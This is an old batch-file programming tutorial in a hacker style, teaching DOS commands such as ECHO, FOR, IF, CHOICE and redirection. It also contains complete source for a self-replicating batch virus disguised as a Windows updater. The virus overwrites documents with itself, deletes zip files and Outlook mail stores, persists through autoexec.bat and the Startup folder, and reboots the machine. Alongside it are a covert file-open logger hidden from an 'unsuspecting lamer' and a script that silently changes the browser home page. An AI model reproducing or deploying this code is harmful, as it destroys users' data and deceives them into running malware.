Full Batch File Programming Tutorial

Batch file programming is nothing but the Windows version of Unix Shell

Programming. Let's start by understanding what happens when we give a

DOS command. DOS is basically a file called command.com

It is this file (command.com) which handles all DOS commands that you

give at the DOS prompt---such as COPY, DIR, DEL etc. These

commands are built in with the Command.com file. (Such commands which

are built in are called internal commands.).DOS has something called

external commands too such as FORMAT,

UNDELETE, BACKUP etc.

So whenever we give a DOS command either internal or external,

command.com either straightaway executes the command (Internal

Commands) or calls an external separate program which executes the

command for it and returns the result (External Commands.)

So why do I need Batch File Programs? Say you need to execute a set

of commands over and over again to perform a routine task like Backing

up Important Files,Deleting temporary files(*.tmp, .bak , ~.* etc)

then it is very difficult to type the same set of commands over and over

again. To perform a bulk set of same commands over and over again,

Batch files are used. Batch Files are to DOS what Macros are to

Microsoft Office and are used to perform an automated predefined set

of tasks over and over again.

So how do I create batch files? To start enjoying using Batch files, you

need to learn to create Batch files. Batch files are basically plain text

files containing DOS commands. So the best editor to write your

commands in would be Notepad or the DOS Editor (EDIT) All you need

to remember is that a batch file should have the extension .BAT(dot

bat)Executing a batch file is quite simple too. For example if you create

a Batch file and save it with the filename

batch.bat then all you need to execute the batch file is to type:

C:\windows>batch.bat

So what happens when you give a Batch file to the command.com to

execute?

Whenever command.com comes across a batch file program, it goes into

batch mode. In the batch mode, it reads the commands from the batch

file line by line. So basically what happens is, command.com opens the

batch file and reads the first line, then it closes the batch file. It then

executes the command and again reopens the batch file and reads the

next line from it. Batch files are treated as Internal DOS commands.

*********************

Hacking Truth: While creating a batch file, one thing that you need to

keep in mind is that the filename of the batch file should not use the

same name as a DOS command. For example, if you create a batch file

by the name dir.bat and then try to execute it at the prompt, nothing

will happen.This is because when command.com comes across a command,

it first checks to see if it is an internal command. If it is not then

command.com checks if it a .COM, .EXE or .BAT file with a matching

filename.All external DOS commands use either a .COM or a .EXE

extension, DOS never bothers to check if the batch program exits.

*********************

Now let's move on to your first Batch file program. We will unlike

always(Normally we begin with the obligatory Hello World program) first

take up a simple batch file which executes or launches a .EXE program.

Simply type the following in a blank text file and save it with a .BAT

extension.

C:

cd windows

telnet

Now let's analyze the code, the first line tells command.com to go to

the C:Next it tells it to change the current directory to Windows. The

last line tells it to launch the telnet client. You may contradict saying

that the full filename is telnet.exe. Yes you are right, but the .exe

extension is automatically added by command.com. Normally we do not

need to change the drive and the directory as the Windows directory is

the default DOS folder. So instead the bath file could simply contain

the below and would still work.

telnet

Now let's execute this batch file and see what results it shows. Launch

command.com (DOS) and execute the batch file by typing:

C:\WINDOWS>batch_file_name

You would get the following result:

C:\WINDOWS>scandisk

And Scandisk is launched. So now the you know the basic functioning of

Batch files, let' move on to Batch file commands.

The REM Command

The most simple basic Batch file command is the REM or the Remark

command. It is used extensively by programmers to insert comments into

their code to make it more readable and understandable. This command

ignores anything there is on that line. Anything on the line after REM is

not even displayed on the screen during execution. It is normally not

used in small easy to understand batch programs but is very useful in

huge snippets of code with geek stuff loaded into it. So if we

add Remarks to out first batch file, it will become:

REM This batch file is my first batch program which launches the fav

hacking

tool; Telnet

telnet

The only thing to keep in mind while using Remarks is to not go

overboard and putting in too many of them into a single program as they

tend to slow down the execution time of the batch commands.

ECHO: The Batch Printing Tool

The ECHO command is used for what the Print command is in other

programming languages: To Display something on the screen. It can be

used to tell the user what the bath file is currently doing. It is true

that Batch programs display all commands it is executing but sometimes

they are not enough and it is better to also insert ECHO commands

which give a better description of what is presently being done. Say for

example the following batch program which is full of the ECHO

command deletes all files in the c:\windows\temp directory:

ECHO This Batch File deletes all unwanted Temporary files from your

system ECHO Now we go to the Windows\temp directory.

cd windows\temp

ECHO Deleting unwanted temporary files....

del *.tmp

ECHO Your System is Now Clean

Now let's see what happens when we execute the above snippet of batch

code.

C:\WINDOWS>batch_file_name

C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary

files from your

system

C:\WINDOWS>ECHO Now we go to the Windows\temp directory.

Now we go to the Windows\temp directory.

C:\WINDOWS>cd windows\temp

Invalid directory

C:\WINDOWS>ECHO Deleting unwanted temporary files

Deleting unwanted temporary files...

C:\WINDOWS>del *.tmp

C:\WINDOWS>ECHO Your System is Now Clean

Your System is Now Clean

The above is a big mess! The problem is that DOS is displaying the

executed command and also the statement within the ECHO command.

To prevent DOS from displaying the command being executed, simply

precede the batch file with the

following command at the beginning of the file:

ECHO OFF

Once we add the above line to our Temporary files deleting Batch

program , the output becomes:

C:\WINDOWS>ECHO OFF

This Batch File deletes all unwanted Temporary files from your system

Now we go to the Windows\temp directory.

Invalid directory

Deleting unwanted temporary files...

File not found

Your System is Now Clean

Hey pretty good! But it still shows the initial ECHO OFF command. You

can prevent a particular command from being shown but still be

executed by preceding the command with a @ sign. So to hide even the

ECHO OFF command, simple replace the

first line of the batch file with @ECHO OFF

You might think that to display a blank line in the output screen you can

simply type ECHO by itself, but that doesn't work. The ECHO command

return whether the ECHO is ON or OFF. Say you have started your

batch file with the command ECHO OFF and then in the later line give

the command ECHO, then it will display ' ECHO is off ' on the screen.

You can display a blank line by giving the command ECHO.(ECHO followed

by a dot)Simply leaving a blank line in the code too displays a blank line

in the output.

You can turn ON the ECHO anytime by simply giving the command ECHO

ON. After turning the echo on , if you give the command ECHO then it

will return ' ECHO is on '

The PAUSE Command: Freezing Time

Say you create a batch file which shows the Directory Listing of a

particular folder(DIR) before performing some other task. Or

sometimes before deleting all files of a folder, you need to give the

user time to react and change his mind. PAUSE, the name says it all, it

is used to time out actions of a script.

Consider the following scenario:

REM This Batch program deletes *.doc files in the current folder.

REM But it gives the user to react and abort this process.

@ECHO OFF

ECHO WARNING: Going to delete all Microsoft Word Document

ECHO Press CTRL+C to abort or simply press a key to continue.

PAUSE

DEL *.doc

Now when you execute this batch program, we get the following output:

C:\WINDOWS>a.bat

WARNING: Going to delete all Microsoft Word Document

Press CTRL+C to abort or simply press a key to continue.

Press any key to continue . . .

The batch file program actually asks the user if he wishes to continue

and gives the user the option to abort the process. Pressing CTRL+C

cancels the batch file program(CTRL+C and CTRL+Break bring about the

same results)

^C

Terminate batch job (Y/N)?y

After this you will get the DOS prompt back.

****************

HACKING TRUTH: Say you have saved a batch file in the c:\name

directory. Now when

you launch command.com the default directory is c:\windows and in

order to

execute the batch file program stored in the c:\name directory you

need to

change the directory and go to c:\name.This can be very irritating and

time

consuming. It is a good practice to store all your batch programs in the

same

folder. You can run a batch file stored in any folder(Say c:\name) from

anywhere(even c:\windows\history) if you include the folder in which the

batch

file is stored (c:\name)in the AUTOEXEC.BAT file, so that DOS knows

which folder

to look for the batch program.

So simply open c:\autoexec.bat in Notepad and append the Path

statement to the

following line[c:\name is the folder in which all your batch files are

stored.]:

SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\name

Autoexec.bat runs each time at startup and DOS knows each time, in

which

directory to look for the batch files.

********************

Parameters: Giving Information to Batch Programs

To make batch programs really intelligent you need to be able to provide

them

with parameters which are nothing but additional valuable information

which is

needed to ensure that the bath program can work efficiently and

flexibly.

To understand how parameters work, look at the following script:

@ECHO OFF

ECHO First Parameter is %1

ECHO Second Parameter is %2

ECHO Third Parameter is %3

The script seems to be echoing(printing) messages on the screen, but

what do the

strange symbols %1 , % 2 etc stand for? To find out what the strange

symbols

stand for save the above script and go to DOS and execute this script

by passing

the below parameters:

C:\windows>batch_file_name abc def ghi

This batch file produces the following result:

C:\windows>batch_file_name abc def ghi

First Parameter is abc

Second Parameter is def

Third Parameter is ghi

The first line in the output is produced by the code line:

ECHO First Parameter is %1

Basically what happens is that when DOS encounters the %1 symbol, it

examines

the original command used to execute the bath program and look for the

first

word (argument) after the batch filename and then assigns %1 the value

of that

word. So one can say that in the ECHO statement %1 is replaced with

the value of

the first argument. In the above example the first word after the

batch file name

is abc, therefore %1 is assigned the value of this word.

The %2 symbol too works in the similar way, the only difference being

that

instead of the first argument, DOS assigns it the value of the second

argument,

def. Now all these symbols, %1, %2 are called replaceable parameters.

Actually

what happens is that %1 is not assigned the value of the first argument,

but

in fact it is replaced by the value of the first argument.

If the batch file command has more parameters than what the batch

file is

looking for, then the extras are ignored. For example, if while executing

a batch

file program , we pass four arguments, but the batch file program

requires only

3 parameters, then the fourth parameter is ignored.

To understand the practical usage of parameters, let's take up a real

life

example. Now the following script requires the user to enter the name

of the

files to be deleted and the folder in which they are located.

@ECHO OFF

CD\

CD %1

DEL %2

This script can be called from the DOS prompt in the following way:

C:\windows>batch_file_name windows\temp *.tmp

In a single script we cannot use more that nine replaceable parameters.

This

means that a particular batch file will have replaceable parameters from

%1 to

%9.Infact there is a tenth replaceable parameter, the %0 parameter.

The %0

parameter contains the name of the batch file itself.

************

HACKING TRUTH: Say you want to execute a batch file and once the

procedure of

execution is complete, want to leave DOS and return to Windows, what

do you do?

The EXIT command can be used in such situations. So simply end your

batch file

with the EXIT command.

EXIT

************

SHIFT: Infinite Parameters

Sometimes your batch file program may need to use more than nine

parameters at a

time.(Actually you would never need to, but at least you are sure you

can handle

it if you need to.)To see how the SHIFT command works, look at the

following

snippet of code:

@ECHO OFF

ECHO The first Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

Now execute this batch file from DOS and see what happens.

C:\windows>batch_file_name abc def ghi

The first Parameter is abc

The Second Parameter is def

The Second Parameter is ghi

How does it work? Well, each SHIFT command shuffles the parameters

down one

position. This means that after the first SHIFT %1 becomes def, %2

becomes ghi

and abc is completely removed by DOS. All parameters change and move

one position

down.

Both normal parameters (%1 , % 2 etc) and the SHIFT command can be

made more

efficient by grouping them with the IF conditional statement to check

the

parameters passed by the User.

THE FOR LOOP

The syntax of the FOR LOOP is:

FOR %%PARAMETER IN(set) DO command

Most people change their mind about learning Batch Programming when

they come

across the syntax of the For Command. I do agree that it does seem a

bit weird,

but it is not as difficult as it appears to be. Let's analyze the various

parts

of the For command. Before we do that look at the following example,

@ECHO OFF

CLS

FOR %%A IN (abc, def, xyz) DO ECHO %%A

Basically a FOR LOOP declares a variable (%%A) and assigns it different

values

as it goes through the predefined set of values(abc, def, xyz) and each

time

the variable is assigned a new value, the FOR loop performs a

command.(ECHO %%A)

The %%A is the variable which is assigned different values as the loop

goes

through the predefined set of values in the brackets. You can use any

single

letter character after the two % sign except 0 through 9.We use two

%'s as DOS

deletes each occurrence of a single % sign in a batch file program.

The IN(abc, def, xyz) is the list through which the FOR loop goes. The

variable

%%a is assigned the various values within the brackets, as the loop

moves. The

items in the set(The technical term for the set of values within the

brackets)

can be separated with commas, colons or simply spaces.

For each item in the set(The IN Thing) the FOR loop performs whatever

command is

given after the DO keyword.(In this example the loop will ECHO %%A)

So basically when we execute the above batch file, the output will be:

abc

def

xyz

The FOR loop becomes very powerful if used along with replaceable

parameters. Take

the following batch file, for example,

@ECHO OFF

ECHO.

ECHO I am going to delete the following files:

ECHO %1 %2

ECHO.

ECHO Press Ctrl+C to Abort process

PAUSE

FOR %%a IN (%1 %2 ) DO DEL %%a

ECHO Killed Files. Mission Accomplished.

At execution time, the process would be something like:

C:\WINDOWS>batchfilename *.tmp *.bak

I am going to delete the following files:

*.tmp *.bak

Press Ctrl+C to Abort process

Press any key to continue . . .

Killed Files. Mission Accomplished.

----------------------------------

IF: CONDITIONAL BRANCHING

The If statement is a very useful command which allows us to make the

batch files more intelligent and useful. Using this command one can make

the batch programs check the parameters and accordingly perform a

task. Not only can the IF command check parameters, it can also checks

if a particular file exists or not. On top of all this, it can also be used

for the conventional checking of variables (strings).

Checking If a File Exists Or Not

The general syntax of the IF command which checks for the existence

of a file is the following:

IF [NOT] EXIST FILENAME Command

This will become clearer when we take up the following example,

IF EXIST c:\autoexec.bat ECHO It exists

This command checks to see if the file, c:\autoexec.bat exists or not.

If it does then it echoes or prints the string 'It exists'. On the other

hand if the specified file does not exist, then it does not do anything.

In the above example, if the file autoexec.bat did not exist, then

nothing was executed. We can also put in the else clause i.e. If the File

exists, do this but if it does not exists, by using the GOTO command.

Let's consider the following example to make it more clear:

@echo off

IF EXIST C:\ankit.doc GOTO ANKIT

Goto end

:ANKIT

ECHO ANKIT

:end

The IF statement in this code snippet checks to see if there exists a

file, c:\ankit.doc. If it does then DOS is branched to :ANKIT and if it

does not, then DOS goes on to the next line. The next line branches

DOS to :end. The :end and :ANKIT in the above example are called

labels. After the branching the respective echo statements take over.

******************

HACKING TRUTH: We can also check for more than one file at a time,

in the following way:

IF EXIST c:\autoexec.bat IF EXIST c:\autoexec.bak ECHO Both Exist

******************

We can check to see if a file does not exist in the same way, the basic

syntax now becomes:

IF NOT EXIST FILENAME Command

For Example,

IF NOT EXIST c:\ankit.doc ECHO It doesn't Exist

****************

HACKING TRUTH: How do you check for the existence of directories?

No something like IF C:\windows EXISTS ECHO Yes does not work. In

this case we need to make use of the NULL device. The NULL device is

basically nothing, it actually stands for simply nothing. Each directory

has the NULL device present in it. (At least DOS thinks so.) So to

check if c:\windows exits, simply type:

IF EXIST c:\windows\nul ECHO c:\Windows exists.

One can also check if a drive is valid, by giving something like:

IF EXIST c:\io.sys ECHO Drive c: is valid.

****************

Comparing Strings to Validate Parameters

The basic syntax is:

IF [NOT] string1==string2 Command

Now let's make our scripts intelligent and make them perform a task

according to what parameter was passed by the User. Take the

following snippet of code for example,

@ECHO off

IF %1==cp GOTO COPY

GOTO DEL

:COPY

Copy %2 a:

GOTO :END

:DEL

Del %2

:END

This example too is pretty much self explanatory. The IF Statement

compares the first parameter to cp, and if it matches then DOS is sent

to read the COPY label else to the DEL label. This example makes use

of two parameters and is called by passing at least two parameters.

We can edit the above example to make DOS check if a parameter was

passed or not and if not then display an error message. Just add the

following lines to the beginning of the above file.

@ECHO OFF

IF "%1" == "" ECHO Error Message Here

If no parameter is passed then the batch file displays an error

message. Similarly we can also check for the existence of the second

parameter.

This command too has the NOT clause.

The CHOICE Command

Before we learn how to make use of the CHOICE command, we need to

what error levels really are. Now Error levels are generated by

programs to inform about the way they finished or were forced to finish

their execution. For example, when we end a program by pressing

CTRL+C to end a program, the error level code evaluates to 3 and if the

program closes normally, then the error level evaluates to 0. These

numbers all by themselves are not useful but when used with the IF

ERROR LEVEL and the CHIOCE command, they become very kewl.

The CHOICE command takes a letter or key from the keyboard and

returns the error level evaluated when the key is pressed. The general

syntax of the CHOICE command is:

CHOICE[string][/C:keys][/S][/N][/T:key,secs]

The string part is nothing but the string to be displayed when the

CHOICE command is run.

The /C:keys defines the possible keys to be pressed. If options are

mentioned then the default Y/N keys are used instead.

For example, The command,

CHOICE /C:A1T0

Defines A, 1, T and O as the possible keys. During execution if the

user presses a undefined key, he will hear a beep sound and the program

will continue as coded.

The /S flag makes the possible keys defined by the CHOICE /c flag

case sensitive. So it means that if the /S flag is present then A and a

would be different.

The /N flag, if present shows the possible keys in brackets when the

program is executed. If the /N flag is missing then, the possible keys

are not shown in brackets. Only the value contained by STRING is

shown.

/T:key,secs defines the key which is taken as the default after a

certain amount of time has passed.

For Example,

CHOICE Choose Browser /C:NI /T:I.5

The above command displays Choose Browser[N,I] and if no key is

pressed for the next 5 seconds, then it chooses I.

Now to truly combine the CHOICE command with the IF ERROR LEVEL

command, you need to know what the CHOICE command returns.

The CHOICE command is designed to return an error level according to

the pressed key and its position in the /C flag. To understand this

better, consider the following example,

CHOICE /C:AN12

Now remember that the error level code value depends on the key

pressed. This means that if the key A is pressed, then the error level

is 1, if the key N is pressed then the error level is 2, if 1 is pressed

then error level is 3 and if 2 is pressed then error level is 4.

Now let us see how the IF ERROR LEVEL command works. The general

syntax of this command is:

IF [NOT] ERRORLEVEL number command.

This statement evaluates the current error level number. If the

condition is true then the command is executed. For Example,

IF ERRORLEVEL 3 ECHO Yes

The above statement prints Yes on the screen if the current error level

is 3.

The important thing to note in this statement is that the evaluation of

an error level is true when the error level us equal or higher than the

number compared.

For Example, in the following statement,

IF ERRORLEVEL 2 ECHO YES

The condition is true if the error level is > or = 2.

Now that you know how to use the CHOICE and ERROR LEVEL IF

command together, you can now easily create menu based programs. The

following is an example of such a batch file which asks the User what

browser to launch.

@ECHO OFF

ECHO.

ECHO Welcome to Browser Selection Program

ECHO.

ECHO 1. Internet Explorer 5.5

ECHO 2. Mozilla 5

ECHO x. Exit Browser Selection Program

ECHO.

CHOICE "Choose Browser" /C:12x /N

IF ERRORLEVEL 3 GOTO END

IF ERRORLEVEL 2 START C:\progra~1\Netscape

IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe

:END

NOTE: Observe the order in which we give the IF statements.

Redirection

Normally the Output is sent to the screen(The standard STDOUT)and

the Input is read from the

Keyboard(The standard STDIN). This can be pretty boring. You can

actually redirect both the Input and the

Output to something other than the standard I/O devices.

To send the Output to somewhere other than the screen we use the

Output Redirection Operator, > which is

most commonly used to capture results of a command in a text file. Say

you want to read the help on how to

use the net command, typing the usual Help command is not useful as

the results do not fit in one screen

and scroll by extremely quickly. So instead we use the Output

Redirection operator to capture the results of

the command in a text file.

c:\windows>net > xyz.txt

This command will execute the net command and will store the results in

the text file, xyz.txt . Whenever

DOS comes by such a command, it checks if the specified file exists or

not. If it does, then everything in the

file is erased or lost and the results are stored in it. If no such file

exists, then DOS creates a new file and

stores the results in this new file.

Say, you want to store the results of more than one command in the

same text file, and want to ensure that

the results of no command are lost, then you make use of the Double

Output Re Direction Symbol, which is

the >> symbol.

For Example,

c:\windows> net >> xyz.txt

The above command tells DOS to execute the net command and append

the output to the xyz.txt file, if it

exits.

DOS not only allows redirection to Files, but also allows redirection to

various devices.

DEVICE NAME USED DEVICE

AUX Auxiliary Device (COM1)

CLOCK$ Real Time Clock

COMn Serial Port(COM1, COM2, COM3,

COM4)

CON Console(Keyboard, Screen)

LPTn Parallel Port(LPT1, LPT2, LPT3)

NUL NUL Device(means Nothing)

PRN Printer

Say for example, you want to print the results of directory listings,

then you can simply give the following

command:

c:\windows>dir *.* > prn

The NUL device(nothing) is a bit difficult to understand and requires

special mention. This device which is

also known as the 'bit bucket' literally means nothing. Redirection to the

NUL device practically has no usage

but can be used to suppress the messages which DOS displays on the

completion of a task. For example,

when DOS has successfully copied a particular file, then it displays the

message: '1 file(s) copied.'

Now say you want to suppress this task completion message, then you

can make use of the NUL device.

c:\windows>copy file.txt > NUL

This will suppress the task completion message and not display it.

Redirecting Input

Just like we can redirect Output, we can also redirect Input. It is

handled by the Input Redirection Operator,

which is the < symbol. It is most commonly used to send the contents of

a text file to DOS. The other common

usage of this feature is the MORE command which displays a file one

screen at a time unlike the TYPE

command which on execution displays the entire file.(This becomes

impossible to read as the file scrolls by

at incredible speed.)Thus, many people send the long text file to the

MORE command by using the

command:

c:\windows>more < xyz.txt

This command sends the contents of the xyz.txt file to the MORE

command which displays the contents

page by page. Once the first page is read the MORE command displays

something like the following on the

screen:

......MORE......

You can also send key strokes to any DOS command which waits for

User Input or needs User intervention to perform a task. You can also

send multiple keystrokes. For example, a typical Format

command requires 4 inputs, firstly pressing Enter to give the command,

then Disk Insertion prompt, then the

VOLUME label prompt and lastly the one to format another disk. So

basically there are three User inputs-:

ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can

include this in a Batch file and give

the format command in the following format:

c:\windows>format a: < xyz.bat

PIPING

Piping is a feature which combines both Input and Output Redirection. It

uses the Pipe operator, which is the

| symbol. This command captures the Output of one command and sends

it as the Input of the other

command. Say for example, when you give the command del *.* then you

need to confirm that you mean to

delete all files by pressing y. Instead we can simply do the same without

any User Interaction by giving the

command:

c:\windows> echo y | del *.*

This command is pretty self explanatory, y is sent to the command del

*.*

Batch File Programming can be very easy and quite useful. The only

thing that one needs to be able to become a Batch File Programming

nerd, is adequate knowledge of DOS commands. I suggest you surf the

net or get a book on DOS commands and really lick the pages off the

book, only then can you become an expert.

Making your own Syslog Daemon

We can easily combine the power of batch file programs and the

customizable Windows Interface to make

our own small but efficient System Logging Daemon.

Basically this Syslog Daemon can keep a track of the files opened(any

kind of files), the time at which the

files were opened also actually post the log of the User's activities on

to the web, so that the System

Administrator can keep a eye on things.

Simply follow the following steps to make the daemon-:

NOTE: In the following example, I am making a syslog daemon which

keeps an eye on what text files were

opened by the User. You can easily change what files you want it to

keep an eye on by simply following the

same steps.

1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER

Actually this step is not the first, but being the easiest, I have

mentioned it earlier. The first thing to do is to

associate the text files(*.txt) files to our batch file which contains the

code to log the User's activities. You can

of course keep an eye on other files as well, the procedure is almost

similar. Anyway, we associate .txt files

to our batch program so that each time a .txt file is opened, the batch

file is also executed. To do this, we

need to change the File Associations of .txt files.

For more information on Changing File Associations, refer to the

Windows Help Files, simply type

Associations and search. Anyway to change the associations of .txt files

and to point them to our batch

file, simply do the below:

Locate any .txt file on your system, select it(click once) and Press the

SHIFT key. Keeping the SHIFT key

pressed, right click on the .txt file to bring up the OPEN WITH...

option. Clicking on the OPEN WITH... option

will bring up OPEN WITH dialog box. Now click on the OTHER button

and locate the batch file program

which contains the logging code and click on OPEN and OK.

Now each time a .txt file is opened, the batch file is also executed,

hence logging all interactions of the User

with .txt files.

2. Creating the Log File

Now you need to create a text file, which actually will act like a log file

and will log the activities of the User.

This log file will contain the filename and the time at which the .txt file

was opened. Create a new blank text

file in the same directory as the batch file. Now change the attributes

of this log file and make it hidden by

changing it's attributes by issuing the ATTRIB command.

C:\windows>attrib xyz.txt +h

This will ensure that a lamer will not know as to where the log file is

located.

3. CODING THE LOGGING BATCH FILE

The coding of the actual batch file which will log the User's activities

and post it on the web is quite simple. If

you have read this tutorial properly till now, then you would easily be

able to understand it, although I still

have inserted comments for novices.

echo %1 >> xyz.txt /* Send the file name of the file opened to the log

file, xyz.txt */

notepad %1 /* Launch Notepad so that the lamer does not know

something is wrong. */

This logging file will only log the filename of the text file which was

opened by the unsuspecting lamer, say

you want to also log the time at which a particular file was opened, then

you simply make use of the 'time'

command. The only thing that one needs to keep in mind is that after

giving the TIME command , we need

to press enter too, which in turn has to entered in the batch file too.

Say you, who are the system administrator does not have physical

access or have gone on a business trip,

but have access to the net and need to keep in touch with the server

log file, then you easily link the log file

to a HTML file and easily view it on the click of a button. You could also

make this part of the site password

protected or even better form a public security watch contest where the

person who spots something fishy

wins a prize or something, anyway the linking can easily be done by

creating an .htm or. html file and

inserting the following snippet of code:

<html>

<title> Server Logs</title>

<body>

<a href="xyz.txt>Click here to read the Server Logs</a>

</body>

</html>

That was an example of the easiest HTML page one could create.

Another enhancement that one could make is to prevent the opening of a

particular file. Say if you want to prevent the user from launching

abc.txt then you would need to insert an IF conditional statement.

IF "%1" == "filename.extension" ECHO Error Message Here

4. Enhancing the logging Batch file to escape the eyes of the Lamer.

To enhance the functioning of our logging daemon, we need to first know

it's normal functioning.

Normally, if you have followed the above steps properly, then each time

a .txt file is opened, the batch file

is launched(in a new window, which is maximized) and which in turn

launches Notepad. Once the filename

and time have been logged, the batch file Window does not close

automatically and the User has to exit

from the Window manually. So maybe someone even remotely intelligent

will suspect something fishy. We

can configure our batch file to work minimized and to close itself after

the logging process has been

completed. To do this simply follow the following steps-:

a) Right Click on the Batch File.

b) Click on properties from the Pop up menu.

c) In the Program tab click on the Close on Exit option.

d) Under the same tab, under the RUN Input box select Minimized.

e) Click on Apply and voila the batch file is now more intelligent

This was just an example of a simple batch file program. You can easily

create a more intelligent and more useful program using batch code.

MAKING YOUR OWN DEADLY BATCH FILE VIRUS: The atimaN_8

Batch File Virus

DISCLAIMER: This Virus was created by Ankit Fadia ankit@bol.net.in

and is meant for educational purposes only. This Virus was coded to

make people understand the basic concept of the Working of a Virus.

Execute this Batch File at your own Risk. Any Damage caused by this

file is not Ankit Fadia's fault. If you want any information regarding

this Virus, do please feel free to contact me at: ankit@bol.net.in also

visit my site at: http://www.crosswinds.net/~hackingtruths

The following is a simple but somewhat deadly (but quite lame)Batch File

Virus that I created. I have named it, atimaN_8 I have used no

advanced Batch or DOS commands in this virus and am sure that almost

all you will have no problem understanding the code, If you still have

trouble understanding the code, do mail me at ankit@bol.net.in

@ECHO OFF

CLS

IF EXIST c:\winupdt.bat GOTO CODE

GOTO SETUP

:SETUP

@ECHO OFF

ECHO Welcome To Microsoft Windows System Updater Setup

ECHO.

copy %0 c:\winupdt.bat >> NUL

ECHO Scanning System.....Please Wait

prompt $P$SWindows2000

type %0 >> c:\autoexec.bat

type %0 >> c:\windows\dosstart.bat

ECHO DONE.

ECHO.

ECHO Installing Components....Please Wait

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >>

NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >>

NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >>

NUL

ECHO DONE.

ECHO.

ECHO You Now Need to Register with Microsoft's Partner: Fortune

Galaxy to receive automatic updates.

PAUSE

ECHO Downloading Components...Please Wait

START "C:\Program Files\Internet Explorer\Iexplore.exe"

http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del

"C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address

Book\ankit.wab" del "C:\WINDOWS\Application

Data\Microsoft\Address Book\ankit.wab"

ECHO Setup Will Now restart Your Computer....Please Wait

ECHO Your System is not faster by almost 40%.

ECHO Thank you for using a Microsoft Partner's product.

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >>

NUL

c:\WINDOWS\RUNDLL user.exe,exitwindowsexec

CLS

GOTO END

:CODE

CLS

@ECHO OFF

prompt $P$SWindows2000

IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC

type %0 >> c:\autoexec.bat

:ABC

type %0 >> c:\windows\dosstart.bat

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >>

NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >>

NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >>

NUL

START "C:\Program Files\Internet Explorer\Iexplore.exe"

http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del

"C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address

Book\ankit.wab" del "C:\WINDOWS\Application

Data\Microsoft\Address Book\ankit.wab" >> NUL

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >>

NUL

GOTO :END

CLS

:END

CLS

This was an example of a pretty lame batch file virus. We can similarly

create a virus which will edit the registry and create havoc. This is just

a thought, I am not responsible for what you do with this.

There is simply no direct way of editing the Windows Registry through a

batch file. Although there are Windows Registry Command line

options(Check them out in the Advanced Windows Hacking Chapter, they

are not as useful as adding keys or editing keys, can be. The best

option we have is to create a .reg file and then execute it through a

batch file. The most important thing to remember hear is the format of

a .reg file and the fact that the first line of all .reg files should

contain nothing but the string REGEDIT4, else Windows wil not be able

to recognize it as a registry file. The following is a simple example of a

batch file which changes the home page of the User (If Internet

Explorer is installed)

to http://hackingtruths.tripod.com

@ECHO OFF

ECHO REGEDIT4 >ankit.reg

ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main] >> ankit.reg

ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg

START ankit.reg

Creating a .reg file is not as easy as it seems. You see, for Windows to

recognize a file as a Registry file and for Windows to add the contents

of the .reg file to the registry, it has to be in a particular recognizable

format, else an error message would be displayed. I would not want to

repeat, the entire Windows Registry File format here, as the Advanced

Windows Hacking Manual has a huge section, specially dedicated to the

Windows Registry.

Protection from Batch File Viruses

If you double-click a batch file (.bat files) it will run automatically.

This can be dangerous as batch files can contain harmful commands

sometimes. Worst still, if you use the single-click option, one wrong

click and it's goodbye Windows. Now most power users would like to set

edit as the default action. To best way to do that is to go to Explorer's

Folder Options' File View tab to change the modify the default action.

However, to add insult to injury, when you arrive there, you will find

that the Edit and Set Default buttons has been grayed out. This is a

"feature" from Microsoft you might not appreciate.

To conquer our problem here, flare up your registry editor and go to

HKEY_CLASSES_ROOT\batfile\shell\open Rename the open key to run,

thus becoming HKEY_CLASSES_ROOT\batfile\shell\run. Double-click

the EditFlags binary value in HKEY_CLASSES_ROOT\batfile and enter

00 00 00 00 as the new value. Now, open Explorer, click Folder Options

from the View menu and select the File Types tab, scroll down to the

"MS-DOS Batch File" item, highlight it and click Edit. You'll notice that

the last three buttons (Edit, Remove and Set Default) are now enabled

and that you can select Edit as the default action.